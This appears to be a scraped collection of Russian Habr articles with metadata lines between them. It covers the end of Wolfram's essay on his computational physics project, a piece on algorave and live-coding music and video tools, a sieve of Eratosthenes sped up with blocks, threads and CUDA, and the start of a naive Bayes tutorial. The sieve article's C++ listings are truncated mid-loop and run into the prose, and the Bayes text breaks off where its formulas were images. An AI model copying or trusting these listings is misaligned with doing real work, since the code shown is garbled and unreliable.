Что это значит? Есть множество последствий. Одно из них заключается в том, что квантовая информация может быть захвачена внутри горизонта запутанности, даже если она не пересекла причинно-следственный горизонт событий — так что в действительности черная дыра замораживает квантовую информацию «на своей поверхности» (по крайней мере, на ее поверхности в пространстве ветвлений). Это странное явление, подразумеваемое нашими моделями, но, пожалуй, особенно интересно в нем то, что оно во многом согласуется с выводами о черных дырах, сделанными в некоторых из последних работ по физике, посвященных так называемому голографическому принципу в квантовой теории поля и общей теории относительности.
Вот еще один связанный с этим феномен. Если вы пересечете горизонт причинно-следственных событий черной дыры, что вы в конечном итоге будете бесконечно физически удлинены (или «спагеттифицированы») под действием приливных сил. Что ж, нечто подобное происходит, если вы пересекаете горизонт запутанности, но теперь вы будете вытянуты в пространстве ветвлений, а не в физическом. И в наших моделях это в конечном итоге означает, что вы не сможете провести квантовое измерение — так что в некотором смысле как наблюдатель вы не сможете «сформировать классическую картину мира», или, другими словами, выйти за рамки запутанности. На горизонте вы никогда не сможете «прийти к окончательному выводу», например, о том, упало ли что-то в черную дыру или нет.
Скорость света *c* — фундаментальная физическая константа, которая связывает расстояние в физическом пространстве со временем. В наших моделях появилась новая фундаментальная физическая константа: максимальная скорость сцепления, которая связывает расстояние в пространстве ветвлений со временем. Я называю эту максимальную скорость запутывания *ζ* (дзета) (*ζ* немного похожа на «запутанную *c*»). Я не уверен, каково ее точное значение, но по моей оценке она соответствует запутыванию примерно `10^102` новых квантовых состояний в секунду. И в некотором смысле, именно то, что она такая большая, позволяет нам «формировать классическую картину мира».
Из-за связи между ветвистыми причинно-следственными ребрами и энергией можно преобразовать ζ в единицы энергии в секунду, и наша оценка предполагает, что ζ составляет около `10^5` солнечных масс в секунду. Это большое значение — вероятно, оно имеет отношение к чему-то вроде слияния галактических черных дыр. (Это означало бы, что для того, чтобы разум смог «квантово осознать» нашу галактику потребуется, возможно, шесть месяцев.)
### Поиск первичного правила
Я искренне поражен тем, как много мы смогли выяснить только на основе общей структуры наших моделей. Но чтобы получить окончательную фундаментальную теорию физики, нам все еще нужно найти конкретное правило. Правило, которое дает нам 3 (или около того) измерения пространства, конкретную скорость расширения Вселенной, определенные массы и свойства элементарных частиц и так далее. Но как нам приступить к поиску этого правила?
И на самом деле даже до этого нам нужно спросить: если бы у нас было правильное правило, поняли бы мы это? Как я упоминал ранее, здесь потенциально может возникнуть большая проблема с вычислительной несократимостью. Потому что, каким бы ни было основное правило, наша реальная Вселенная, применяла его, возможно более `10^500` раз.
И если существует вычислительная несократимость (а она существует), тогда не будет способа коренным образом уменьшить объем вычислительных усилий, необходимых для определения результата всех этих приложений правил.
Но мы должны надеяться, что каким-то образом — даже при том, что полная эволюция Вселенной не поддается вычислению — все еще существует достаточно «туннелей вычислительной сводимости», чтобы мы смогли выяснить данные, необходимые нам для сравнения с тем, что мы знаем о физике, без необходимости выполнять всю эту вычислительную работу. И я должен сказать, что наш недавний успех в получении выводов только на основе общей структуры наших моделей придает мне оптимизма в отношении этой возможности.
Какие правила нам следует учитывать? Традиционный подход в естествознании (по крайней мере, в течение последних нескольких столетий), как правило, сводится к следующему: начните с того, что вы знаете о любой системе, которую изучаете, а затем попытайтесь «реконструировать» ее правила. Но в наших моделях слишком много эмпирических данных, чтобы это работало. Взгляните на это:
Учитывая общую форму этой структуры, вы никогда не догадались бы, что ее можно создать по простому правилу:
`{{x, y, y}, {y, z, u}} → {{u, z, z}, {u, x, v}, {y, u, v}}`
Я исследовал вычислительные вселенные в течение примерно сорока лет, и должен сказать, что даже сейчас удивительно, как часто меня поражает способность чрезвычайно простых правил вызывать поведение, которого я даже не ожидал. И это особенно характерно для совершенно бесструктурных моделей, которые мы используем. В конце концов, единственный реальный способ узнать, что может случиться в этих моделях, — это просто перечислить возможные правила, а затем запустить их и посмотреть, что получается.
Но теперь возникает еще один вопрос. Если мы начнем перечислять очень простые правила, как далеко нам придется зайти, прежде чем мы найдем нашу Вселенную? Или, другими словами, насколько простым будет правило для нашей Вселенной?
Возможно, в некотором смысле правило для Вселенной будет иметь особый случай для каждого элемента вселенной — каждой частицы, каждой позиции в пространстве и т. д. Научные законы предполагают, что правило не имеет такого уровня сложности. Но насколько простым оно будет? Мы не знаем. И я должен сказать, что я не думаю, что наши недавние открытия проливают какой-либо конкретный свет на это — потому что они в основном говорят, что многие вещи в физике являются общими и не зависят от специфики основного правила, каким бы простым или сложным оно ни было.
### Почему именно эта Вселенная?
Ну, хорошо, допустим, мы обнаружим, что нашу Вселенную можно описать некоторым определенным правилом. Тогда возникает очевидный следующий вопрос: почему это правило, а не какое-то другое? История науки со времен Коперника снова и снова показывает нам доказательства того, что мы «не особенные». Но если правило, которое описывает нашу Вселенную, простое, не будет ли эта простота признаком «особенности»?
Я давно думаю об этом. Может ли быть, например, что правило является простым только из-за того, как мы, как сущности, существующие в нашей конкретной вселенной, выбираем свои способы описания реальности? И что в какой-то другой вселенной, с каким-то другим правилом, существа, которые там существуют, установят свои способы описания реальности так, чтобы правило их вселенной было для них простым, хотя оно может быть очень сложным для нас?
Или может быть так, что в некотором фундаментальном смысле не имеет значения, каковы правила для Вселенной: для наблюдателей, встроенных во вселенную, действующих по тем же правилам, что и эта вселенная, выводы о том, как работает Вселенная, всегда будут те же самые?
Или, может быть, это вопрос, выходящий за рамки науки?
К моему значительному удивлению, парадигма, возникшая в результате наших недавних открытий, потенциально, похоже, предлагает определенный — хотя на первый взгляд странный — научный ответ.
В том, что мы обсуждали до сих пор, мы представляем себе, что для нашей вселенной существует особое, единственное правило, которое применяется снова и снова, эффективно всеми возможными способами. Но что, если бы не было единственного правила, которое можно было бы использовать? Что, если бы можно было использовать все мыслимые правила? Что, если бы каждое событие обновления могло просто использовать любое возможное правило? (Обратите внимание, что в конечной вселенной может применяться только конечное число правил.)
Сначала может показаться, что такая модель никогда не приведет к чему-то определенному. Но представьте себе построение графа ветвлений абсолютно всего, что может произойти, включая все события для всех возможных правил. Это большой сложный объект. Но он далеко не бесструктурен, он полон всех видов структур.
И в этом есть одна важная деталь: в основном гарантируется причинно-следственная инвариантность (в основном потому, что если есть правило, которое что-то делает, всегда есть другое правило, которое может это отменить).
Итак, теперь мы можем создать причинно-следственный граф, который покажет аналог теории относительности в пространстве правил. И это означает, что в графе ветвлений «пространства правил» мы можем ожидать создания различных слоений, но все они будут давать согласованные результаты.
Это замечательное концептуальное объединение. У нас есть физическое пространство, пространство ветвлений, а теперь еще то, что мы можем назвать пространством правил. И ко всем ним применимы одни и те же общие идеи и принципы. И точно так же, как мы определили системы отсчета в физическом пространстве и пространстве ветвлений, мы также можем определить системы отсчета в пространстве правил.
Но какие системы отсчета наблюдатели могут установить в пространстве правил? В типичном случае мы можем думать о различных системах отсчета в пространстве правил как о соответствующих различным языкам описания, на которых наблюдатель может описывать свой опыт Вселенной.
Говоря абстрактно, это знакомая идея, что с помощью любого конкретного языка описания мы всегда можем явно запрограммировать любой универсальный компьютер, чтобы перевести его на другой язык описания. Но здесь мы говорим о том, что в пространстве правил достаточно выбрать другую систему отсчета, чтобы в нашем представлении Вселенной использовался другой язык описания.
И примерная причина, по которой это работает, заключается в том, что разные слоения пространства правил соответствуют разному выбору последовательностей правил в графе ветвлений пространства правил, который фактически может быть настроен для «вычисления» выходных данных, которые были бы получены с любым заданным описанием языка. То, что это может сработать, в конечном итоге зависит от того факта, что последовательности наших правил могут поддерживать универсальные вычисления — для этого достаточно просто «выбрать другую систему отсчета в пространстве правил», «запустить другую программу» и получить другое описание наблюдаемого поведения Вселенной.
Странная, но довольно интересная картина. Вселенная использует все возможные правила. Но как существа, встроенные во вселенную, мы выбираем определенное слоение (или последовательность систем отсчета), чтобы понять, что происходит. И этот выбор слоения соответствует языку описания, который дает нам конкретный способ описания Вселенной.
Но что можно сказать определенно о Вселенной — независимо от слоения? Есть одно важное обстоятельство: вселенная, какое бы слоение ни использовалось для ее описания, — это всего лишь универсальный компьютер, и не более того. И такие гипервычисления невозможны во Вселенной.
Учитывая структуру наших моделей, это еще не все. Точно так же, как есть максимальная скорость в физическом пространстве (скорость света *c*) и максимальная скорость в пространстве ветвлений (максимальная скорость запутывания *ζ*), так также должна быть максимальная скорость в пространстве правил, которую мы можем назвать *ρ* — это фактически еще одна фундаментальная константа природы. (Постоянство ρ фактически является отражением принципа вычислительной эквивалентности.)
Но чему соответствует движение в пространстве правил? По сути, это смена правила. И сказать, что это может происходить только с конечной скоростью, значит сказать, что существует вычислительная несократимость: одно правило не может имитировать другое бесконечно быстро. И с учетом этой конечной «скорости эмуляции» существуют «конусы эмуляции», которые являются аналогом световых конусов и определяют, как далеко можно продвинуться в пространстве правил за определенное время.
Какие единицы у *ρ*? По сути, это длина программы, разделенная на время. Но в то время как в теории вычислений обычно предполагают, что длина программы может быть масштабирована почти произвольно с помощью различных моделей вычислений, здесь это мера длины программы, которая каким-то образом фундаментально привязана к структуре системы ветвлений пространства правил и физического пространства. (Кстати, аналог кривизны и уравнений Эйнштейна будет и в пространстве правил — и это, вероятно, соответствует геометризации теории сложности вычислений и таких вопросов, как P?=NP.)
О структуре пространства правил можно сказать больше. Например, давайте представим, что мы пытаемся создать слоение, в котором мы замораживаем время где-нибудь в пространстве правил. Это будет соответствовать попытке описать Вселенную, используя некоторую вычислительно сокращаемую модель — и со временем будет становиться все труднее и труднее делать это, поскольку конусы эмуляции обеспечивают все большую и большую вычислительную несократимость.
Итак, что все это означает для нашей первоначальной цели — поиска правила для описания нашей Вселенной? По сути, это говорит о том, что подойдет любое (универсальное вычисление) правило — если мы готовы создать соответствующий язык описания. Но дело в том, что мы в основном уже определили по крайней мере некоторые элементы нашего языка описания: это те вещи, которые обнаруживают наши органы чувств, наши измерительные устройства измеряют, а наша существующая физика описывает. Итак, теперь наша задача — найти правило, которое успешно описывает нашу вселенную в рамках этой концепции.
Для меня это очень удовлетворительное решение загадки того, почему для нашей Вселенной было выбрано какое-то конкретное правило. Ответ заключается в том, что в конечном счете не существует какого-то конкретного правила — подойдет любое правило, способное к универсальному вычислению. Просто с каким-то определенным способом описания, который мы выбираем использовать, будет какое-то определенное правило, которое описывает нашу Вселенную. И в каком-то смысле, какая бы особенность ни была в этом правиле, это просто отражение специфики нашего способа описания. По сути, единственное, что является для нас особенным во Вселенной, — это мы сами.
А это дает однозначный ответ на еще один давний вопрос: могут ли быть другие вселенные? Ответ в нашей модели в основном отрицательный. Мы не можем просто «выбрать другое правило и получить другую вселенную». Потому что в некотором смысле наша Вселенная уже содержит все возможные правила. (Могут быть и другие вселенные, которые выполняют различные уровни гипервычислений.)
Но возможно и кое-что более странное. Хотя мы смотрим на нашу вселенную — и на реальность — через наш конкретный тип языка описания, существует бесконечное количество других возможных языков описания, которые могут привести к описаниям реальности, которые будут казаться связными (и даже в некотором подходящем определении «значимыми») внутри самих себя, но которые нам покажутся соответствующими совершенно бессвязным и бессмысленным аспектам нашей вселенной.
Я всегда предполагал, что любая сущность, существующая в нашей Вселенной, должна, по крайней мере, «испытывать ту же физику, что и мы». Но теперь я понимаю, что это не так. На самом деле, существует почти бесконечное разнообразие различных способов описания и восприятия нашей вселенной, или, по сути, почти бесконечное разнообразие различных «планов существования» для сущностей во вселенной — соответствующих различным возможным системам отсчета в пространстве правил, в конечном итоге связанных между собой через универсальные вычисления и относительность пространства правил.
### Язык Вселенной
Что значит создать модель Вселенной? Если мы просто хотим знать, что делает Вселенная, тогда у нас есть Вселенная, и мы можем просто наблюдать, что она делает. Но когда мы говорим о создании модели, на самом деле мы имеем в виду, что хотим иметь представление о Вселенной, которое каким-то образом связывает ее с тем, что мы (люди) можем понять. При учете вычислительной несократимости мы не ожидаем от модели, что она будет «заранее предсказывать» поведение Вселенной с точностью до каждой детали. Но мы действительно хотим иметь возможность указать на модель — структуру которой мы понимаем — и затем иметь возможность сказать, что эта модель соответствует нашей Вселенной.
В предыдущем разделе мы сказали, что хотим найти правило, которое мы могли бы в некотором смысле связать с языком описания, который мы используем для Вселенной. Но каким должен быть язык описания самого правила? Неизбежно существует большая вычислительная дистанция между основным правилом и особенностями Вселенной, которые мы привыкли описывать. Итак, как я уже несколько раз говорил здесь по-разному, мы не можем ожидать использования обычных концепций, с помощью которых мы описываем мир (или физику), непосредственно при построении правила.
Я провел большую часть своей жизни в качестве разработчика языков, в основном создавая то, что сейчас является полноценным вычислительным языком — Wolfram Language. И теперь я рассматриваю попытку найти фундаментальную теорию физики как во многих отношениях просто еще одну проблему в языковом дизайне — возможно, даже самую важную из таких задач.
При разработке вычислительного языка мы пытаемся создать мост между двумя областями: абстрактным миром вычислений и «ментальным» миром того, что люди понимают и в чем заинтересованы. Есть всевозможные вычислительные процессы, которые можно изобрести (скажем, запуск случайно выбранных правил клеточного автомата), но главная задача языкового дизайна состоит в том, чтобы выяснить, какие из них волнуют людей на данном этапе истории человечества, а затем дать людям возможность описать их.
Хорошо, давайте поговорим о создании модели Вселенной. Возможно, самая важная идея в моих попытках найти фундаментальную теорию физики состоит в том, что теория должна основываться на общей вычислительной парадигме (а не, например, конкретно на математике). Итак, когда мы говорим о языке для описания нашей модели Вселенной, мы видим, что он должен соединять три различных области. Это должен быть язык, понятный людям. Это должен быть язык, способный выражать вычислительные идеи. И это должен быть язык, который действительно может представлять основную структуру физики.
Итак, каким должен быть этот язык? Какие примитивы он должен содержать? История, которая привела меня к тому, что я здесь описываю, во многом является историей моих попыток сформулировать соответствующий язык. Это кубические графы? Это упорядоченные графы? Это правила, применимые к абстрактным отношениям?
Во многих отношениях мы неизбежно находимся на грани возможностей человеческого разума. Возможно, однажды мы выработаем знакомые способы говорить о задействованных концепциях. Но пока у нас их нет. Что сделало этот проект осуществимым сейчас, так это то, что мы так далеко зашли в разработке способов выражения вычислительных идей — и что благодаря Wolfram Language эти формы выражения стали знакомы, по крайней мере, мне.
Стремясь служить людским потребностям язык Wolfram Language в первую очередь принимает ввод, оценивает его путем вычислений и затем генерирует вывод. Но это не то, что делает Вселенная. Вселенная в некотором смысле внесла вклад в самом начале, а сейчас она просто проводит оценку — и с учетом всех наших представлений о слоениях, мы отбираем определенные аспекты этой текущей оценки.
Это вычисление, но это вычисление, производимое непривычным для нас способом. Для языкового дизайнера, вроде меня, это интересно само по себе, со всеми своими научными и технологическими побочными эффектами. Возможно, потребуется гораздо больше идей, прежде чем мы сможем закончить работу по поиску способа представления основного правила фундаментальной физики.
Но я оптимистично настроен: у нас уже есть почти все идеи, которые нам нужны. Также у нас есть хорошая методология: мы можем проводить исследования с помощью компьютерных экспериментов. Если бы мы все полагались на традиционную методологию математики, мы смогли бы исследовать только то, что уже знаем. Но, проводя компьютерные эксперименты, мы фактически отбираем необработанную вычислительную вселенную возможностей, не ограничиваясь нашим существующим пониманием.
Конечно, как и в случае с физическими экспериментами, важно, как мы думаем о наших экспериментах и какой язык описания мы используем. Мне безусловно помогает то, что я проводил компьютерные эксперименты более сорока лет, и за это время я смог постепенно усовершенствовать свое искусство и науку, стоящую за ним.
Это похоже на то, как мы учимся на собственном опыте в физическом мире. Наблюдая за результатами множества экспериментов, мы постепенно развиваем интуицию, которая, в свою очередь, позволяет нам начать создавать концептуальную основу, которая затем используется при разработке нашего языка для описания реальности. Но эксперименты нужно проводить постоянно. В некотором смысле вычислительная несократимость означает, что мы постоянно будем получать сюрпризы, что я и обнаруживаю на практике в этом проекте.
Сможем ли мы объединить физику, вычисления и человеческое понимание, чтобы создать то, что мы сможем считать окончательной фундаментальной теорией физики? Трудно сказать, насколько это будет сложно. Но я крайне оптимистично настроен и думаю, что мы наконец-то на правильном пути и уже даже решили увлекательную проблему языкового дизайна, необходимую для разгадки тайн Вселенной.
### На поиски фундаментальной теории!
Учитывая все это, что нужно сделать, чтобы найти фундаментальную теорию физики? Самое важное — мы наконец на правильном пути. Конечно, что неудивительно, задача все еще технически крайне сложна. Частично эта трудность проистекает непосредственно из вычислительной несократимости и из-за сложности разработки последствий основных правил. Но отчасти трудности также связаны с успехом и сложностью существующей физики.
В конце концов, наша цель должна состоять в том, чтобы построить мост, который соединит наши модели с существующими знаниями о физике. И с обеих сторон предстоит трудная работа. Пытаться сформулировать последствия наших моделей в терминах, согласующихся с существующей физикой, и попытаться сформулировать математические структуры существующей физики в терминах, которые согласуются с нашими моделями.
Для меня одним из наиболее приятных аспектов наших открытий за последние пару месяцев была степень, в которой они в конечном итоге находили отклик в огромном диапазоне существующих — иногда до сих пор кажущихся «чисто математическими» — направлениях, которые попали из математики в физику в последние годы. Кажется, что создатели всех современных теорий были правы с самого начала, и нужно просто добавить некий новый субстрат, чтобы увидеть, как все они сочетаются друг с другом. В наших моделях есть намеки на теорию струн, голографические принципы, теорию причинных множеств, петлевую квантовую гравитацию, теорию твисторов и многое другое. Существуют также современные математические идеи — геометрическая теория групп, теория категорий высокого порядка, некоммутативная геометрия, геометрическая теория сложности и т. д. — которые кажутся настолько хорошо согласованными с нашими моделями, что можно подумать, что они должны были быть построены специально для их анализа.
Должен сказать, я этого не ожидал. Идеи и методы, на которых основаны наши модели, сильно отличаются от того, что когда-либо серьезно применялось в физике или даже в математике. Но каким-то образом — и я думаю, что это хороший знак — то, что обнаружилось, прекрасно согласуется с множеством недавних работ в области физики и математики. Основы и мотивирующие идеи разные, но методы (а иногда даже результаты) часто кажутся применимыми сразу.
Есть кое-что еще, чего я не ожидал, но что очень важно. Изучая клеточные автоматы в вычислительной вселенной простых программ, я обычно обнаруживал, что вычислительная несократимость — и такие явления, как неразрешимость — присутствуют повсюду. Попробуете использовать сложные математические методы — и они почти всегда терпят неудачу.
Но из-за того, что наши модели фундаментальной физики такие минималистичные и бесструктурные, даже до столкновения с проблемой несократимости мы можем увидеть поразительное богатство свойств наших моделей. Отсюда многие из наших недавних открытий. И именно здесь существующие методы физики и математики могут внести большой вклад. Мы можем многое понять, прежде чем мы столкнемся с вычислительной несократимостью. (Что, кстати, вероятно, является причиной того, почему мы вообще в состоянии сформировать связное представление о физической реальности.)
Так как же попытка найти фундаментальную теорию физики будет работать на практике? Мы планируем централизованные усилия по продвижению проекта, используя по существу те же методы исследований и разработок, которые мы разработали в Wolfram Research за последние три десятилетия и которые успешно принесли нам так много открытий. Мы планируем делать все полностью открыто. Мы уже опубликовали полный набор разработанных нами [программных инструментов](https://www.wolframphysics.org/tools/), а также почти тысячу заархивированных [рабочих записей](https://www.wolframphysics.org/archives/index), относящихся к 1990-м годам, и более 400 часов [видео](https://www.wolframphysics.org/livestreams/) с последних рабочих сессий.
Мы хотим позволить людям участвовать непосредственно в наших централизованных усилиях или отдельно от нас. Мы будем [транслировать](https://www.wolframphysics.org/livestreams/) то, что делаем, и добиваться максимального взаимодействия. Мы будем проводить множество [образовательных программ](https://education.wolfram.com/summer/school/). Мы также планируем проводить (в прямом эфире) рабочие сессии с другими людьми и группами, а также предоставлять каналы для компьютерной публикации результатов и промежуточных выводов.
Я должен сказать, что мне работа над этим проектом как сейчас, так и в прошлые годы принесла море удовольствия. И я надеюсь, что и другие люди смогут разделить эти чувства по мере продвижения нашего проекта. Я думаю, что мы наконец нашли путь к фундаментальной теории физики. И теперь пойдем по этому пути. Давайте попробуем наконец-то выяснить, как устроена наша вселенная! | https://habr.com/ru/post/518206/ | null | ru | null |
# Алгорейв: как программисты устраивают вечеринки
[*Источник*](https://www.artrabbit.com/events/live-coding-music-party-curated-by-algorave)
Разработчики будущего пишут не просто код — они создают алгоритмический рейв. Алгорейв — это написание и использование алгоритмов, генерирующих танцевальную музыку в режиме реального времени перед физически присутствующей аудиторией.
Генеративная музыка — явление не новое. Известно, что даже нейросеть способна создавать музыку, которую сложно отличить от творчества талантливого композитора. Однако алгорейв имеет свои отличительные особенности.
Если работа традиционного диджея строится вокруг правильного сведения треков (конечно, если он не крутит с флешки готовый микс), то алгорейверы импровизируют, допускают и исправляют ошибки прямо во время представления. При этом лайвкодеры транслируют происходящее на экране ноутбука.
Субкультура программистов
=========================
Сообщество лайвкодеров-музыкантов разнообразно и стремится участвовать в широком спектре художественных практик, включая аудиовизуальное творчество, робототехнику, танцы, научные исследования и образование, смешивая эти практики.
Что если вместо того, чтобы воспринимать «рейв» как «мероприятие», «развлечение» или «музыкальную вечеринку», относиться к нему как к потоку информации, к которому можно подключиться в режиме реального времени? Алгорейверы не всегда являются «рейверами» как таковыми, они не считают себя «будущим танцевальной музыки», но вдохновляются духом «полуанонимов», играющих для культурного объединения безымянной толпы.
Например, музыканты Aphex Twin и Autechre уже давно используют в своей музыке алгоритмические подходы, но в более традиционном смысле. Так, на их выступлениях зрители, помимо проецируемого кода, могут наблюдать визуальные эффекты, и даже танцы роботов. Все элементы шоу не обязательно прописывать вживую — первичной остается работа над разнообразной музыкальной составляющей.
Почти каждый представитель этой субкультуры использует бесплатный софт с открытым исходным кодом. В узких кругах медленно эволюционируют приложения, отметившие уже 15-летний юбилей. Однако некоторые музыканты предпочитают сами писать программы для себя.
Алгорейв постепенно становится средой для обмена идеями — любой может воспользоваться всем доступным софтом или написать что-то сам.
Визуальные и звуковые эффекты
=============================
*Платформа [Hydra](https://glitch.com/~hydra-editor) генерирует трип-визуальные глич-эффекты.*
С практической точки зрения всё происходит достаточно просто: загружается, к примеру, kitBleepFtech, дается команда `highGlobalDensity`, и комната заполняется грохочущим басом. Музыкант создает на своем компьютере отдельные шумы (ударные, бас), а специальный софт объединяет звуки на основе алгоритмов.
В таком симбиозе человека и машины остается огромное пространство для творчества. Если попытаться создать тот же трек в другой раз, с использованием тех же элементов, то композиция будет звучать знакомо, но получит другую структуру.
Помимо музыки большое внимание уделяется виджеингу. Написание видеомиксов, гармонично взаимодействующих с музыкой, — отдельный вид искусства внутри субкультуры.
Так, Hydra, созданная с использованием WebRTC и WegGL, позволяет каждому подключенному браузеру, устройству или человеку выводить видеосигнал или поток, а также получать и изменять потоки от других браузеров, устройств или людей. API основан на аналоговом модульном синтезе, в котором множество визуальных источников (осцилляторы, камеры, окна приложений) могут быть преобразованы, модулированы и объединены.
Лайв-трансляция с Таймс-сквер + трансляция из аквариума + код в Hydra: <https://ojack.github.io/articles/hydra/times-square.mp4>
В Hydra базовым элементом является преобразование координат в цвет. Остальные функции преобразуют либо координаты, либо цвета.
Демонстрация «гидры» во время алгорейва на международной конференции по лайвкодингу, Испания, Мадрид, 2019:
Среды программирования, поддерживающие лайвкодинг, требуют способности быстро создавать, копировать и дублировать аудиовизуальный контент, а также предоставлять обратную связь исполнителям и аудитории. По этим причинам многие среды лайвкодинга используют специфичные, уникальные, гибкие языки. Ниже мы рассмотрим несколько флагманских программ алгорейва.
Создание музыки
===============
**[SuperCollider](http://supercollider.github.io/)** — невероятно мощный кросс-платформенный opensource-аудиодвижок и язык программирования, используемый для создания музыки, генерирования визуальных эффектов и лайвкодинга. Первая версия появилась в 1996 году. Сейчас он поддерживается и развивается сообществом под лицензией GNU General Public License.
Язык является объектно-ориентированным, основан на Smalltalk с синтаксисом C. Сервер синтеза SuperCollider работает независимо и может управляться с помощью других языков, например, Haskell.
SuperCollider включает три основных компонента:
* Scsynth — аудиосервер, работающий в реальном времени. Он имеет сотни генераторов (UGens) для анализа, синтеза и обработки аудио. Можно написать свои собственные UGens на C++, и добавить в репозиторий.
* Sclang — интерпретируемый язык программирования, ориентированный на звук, но не ограниченный какой-либо конкретной областью. Sclang управляет Scsynth через пакетный протокол Open Sound Control. Его можно использовать для поиска новых методов синтеза звука, для подключения приложения к внешнему оборудованию, в том числе MIDI-контроллерам, для написания графических интерфейсов и визуальных дисплеев, а также для экспериментов по программированию. Имеет набор пользовательских расширений под названием Quarks.
* Scide — редактор для Sclang со встроенной справочной системой.
**[ChucK](http://chuck.cs.princeton.edu/)**
Кросс-платформенный язык программирования для синтеза звука в реальном времени и создания музыки. ChucK поддерживает визуализации, MIDI, Open Sound Control, HID- устройства, многоканальный звук, а также имеет возможность добавлять и изменять код, не прерывая процесс генерирования музыки.
Он легок для изучения и предлагает мощный инструмент программирования для создания и экспериментов со сложными программами синтеза и анализа звука в реальном времени.
**[Fluxus](http://www.pawfal.org/fluxus/)**
Среда быстрого создания прототипов для 3D-графики, звука и игр. Расширяет возможности мультипарадигменного языка Racket с помощью графических команд, может использоваться в собственной среде лайвкодинга или в среде IDE DrRacket.
**[Al-Jazari](http://www.pawfal.org/dave/index.cgi?Projects/Al%20Jazari)**
Среда программирования, написанная на Fluxus, — лайвкодинг внутри лайвкодинга. Управляется с помощью геймпада, используется простой графический язык. Имеется возможность отправлять команды роботам на экране для их взаимодействия друг с другом и перемещения по местности, заполненной аудиотриггерами. Рабочий код отображается в виде пузырьков над каждым роботом, и может быть отредактирован.
В программе могут работать (или играть) одновременно несколько пользователей (в первой версии, появившейся в 2008-м, одновременно могли находиться четыре человека).
Код, модели и текстуры Al-Jazari выпускаются бесплатно, тем не менее, программа не предназначена для использования в качестве законченного ПО, поэтому для настройки необходимо скомпилировать и установить различные пользовательские программы (подробнее об этом смотрите на странице проекта).
От теории к практике
====================
Алгорейв — это искусство, в котором переплелись элементы хакинга, геймдева и киберпанка. Сообщество лайвкодинга поощряет самосовершенствование, поэтому все инструменты доступны и постоянно поддерживаются в актуальном состоянии. По ссылкам, указанным в статье, вы найдете больше информации о том, как заняться лайвкодингом самостоятельно. Можете также попробовать поработать с [TidalCycles](https://tidalcycles.org/), инструментом для создания алгоритмических шаблонов. | https://habr.com/ru/post/464713/ | null | ru | null |
# Параллелим непараллельное или поиск простых чисел на GPU
Одним замечательным летним вечером, я в пылу спора имел глупость заметить, что можно написать быстро работающее решето Эратосфена на CUDA. N = 1000000000 (девять нулей) как цель. And the legend has begun…
Не буду опускаться в подробности алгоритма, о нем можно почитать, например, [тут](http://ru.wikipedia.org/wiki/Решето_Эратосфена) и сразу покажу код, которым я располагал на тот момент:
```
#include
#include
using namespace std;
int main()
{
double number = 1000000000;
bool\* a = new bool[int(number/2)];
int i,j,result;
for (i=0; i
```
Однопоточный немного оптимизированный код, который работает на 14-15 секунд на Core i3 330M и затрачивает большое количество памяти. С него и начнем.
#### Блочное решето
Залогом успешного распараллеливания является разделение задачи на независимые части, дабы исключить проблемы с памятью, возникающие при параллельном обращении к ней. И тут весьма кстати приходится так называемое блочное решето, которое позволяет сэкономить память и разделить большое решето на некоторое число маленьких. Возможно это становится благодаря одному интересному свойству решета, а именно: все составные числа от корня из N и до N будут кратны простым из промежутка от 2 до корня из N. Иначе говоря, найдя простые до корня из N (назовем это предварительным решетом) останется только для каждого блока найти элементы с которых начинать вычеркивать.
Первое, что приходит на ум, это перебор делителей и в случае делимости начинать вычеркивать с шагом в делитель. Но даже по примерным прикидкам подобный подход окажется очень неэффективным, даже с учетом все возможных оптимизаций.
Если взять N = 10000, то только для нахождения простых (1229 штук) понадобится чуть меньше тридцати тысяч проверок, кроме того, не стоит забывать, что каждый элемент проверяется как минимум один раз, то есть это еще десять тысяч проверок.
К слову, данный вариант был реализован на CUDA и повесил видеокарту GeForce 9600 GT почти на час.
#### Попытка номер два
На этом все могло и закончиться. Но решение пришло, как всегда неожиданно. И выглядело оно следующим образом.
Предположим, что N = 100, число блоков равно десяти, как и размер части. В предварительном решете будут четыре элемента: 2, 3, 5, 7. Так как размер предварительного решета равен размеру части, то начинать можно со второго блока. Начинается он с известного нам числа 11. Примером простого числа по которому будет происходить вычеркивание нам послужит тройка. Двойку не учитываю по причине очевидной оптимизации с ее участием, но об этом позже. Предыдущий блок окончился на 10, последний вычеркнутый элемент кратный тройке — девять, находится в одном элементе от конца блока. Следовательно, если из тройки вычесть этот «хвост», то можно найти сколько в следующем блоке осталось до элемента, который надо быдет вычеркнуть — до 12.
И так для каждого простого из предварительного решета. Кроме того, оптимизации используемые в «обычном» решете применимы и здесь, а именно: экономия памяти путем исключения четных элементов и вычеркивание, начиная с числа в квадрате.
#### От теории, к практике
Осталось все теоритические наработки собрать вместе. Вот что из этого вышло:
```
for(i=0; i
```
Добавлять сюда код предварительного решета не считаю необходимым, ибо он идентичен «обычному» решету.
**Эта версия решета, назовем ее блочной, работает за 8-9 секунд.**
#### Разделение решета
На достигнутом было решено не останавливаться, поэтому быстро была написана версия работающая в два потока.
**Решето в два потока, результат - 4.7 секунды.**
Но был один фактор, который замедлял выполение, второй поток, работающий со второй половиной решета, оказывался медленее основного. Сместив «разрез» решета, удалось ускорить выполнение почти на полсекунды.
**Результат после смещения - 4.3 секунды.**
#### Решето переезжает
Проверенный на CPU алгоритм, был перенесен на GPU. Опытным путем были установлены размеры грида и части решета, которые позволяли достичь наибольшую производительность.
**Решето Эратосфена на CUDA, результат - 4.5 секунды.**
Исходный код доступен на [GitHub](https://github.com/zobovmihail/Sieve-of-Eratosthenes).
Update 19.07.2014 добавил версию с OpenMP.
На этом все, всем спасибо за внимание! | https://habr.com/ru/post/230357/ | null | ru | null |
# Наивный Байесовский классификатор в 25 строк кода
Наивный Байесовский классификатор один из самых простых из алгоритмов классификации. Тем не менее, очень часто он работает не хуже, а то и лучше более сложных алгоритмов. Здесь я хочу поделиться кодом и описанием того, как это все работает.
И так, для примера возьму задачу определения пола по имени. Конечно, чтобы определить пол можно создать большой список имен с метками пола. Но этот список в любом случае будет неполон. Для того чтобы решить эту проблему, можно «натренировать» модель по маркированным именам.
Если интересует, прошу .
Немного теории
--------------
Пусть у нас есть строка текста O. Кроме того, имеются классы С, к одному из которых мы должны отнести строку. Нам необходимо найти такой класс с, при котором его вероятность для данной строки была бы максимальна. Математически это записывается так:
Вычислить P(C|O) сложно. Но можно воспользоваться теоремой Байеса и перейти к косвенным вероятностям:
Так как мы ищем максимум от функции, то знаменатель нас не интересует (он в данном случае константа). Кроме того, нужно взглянуть на строку O. Обычно, нет смысла работать со всей строкой. Намного эффективней выделить из нее определенные признаки (features). Таким образом формула примет вид:
Знаменатель нас не интересует. Числитель же можно переписать так.
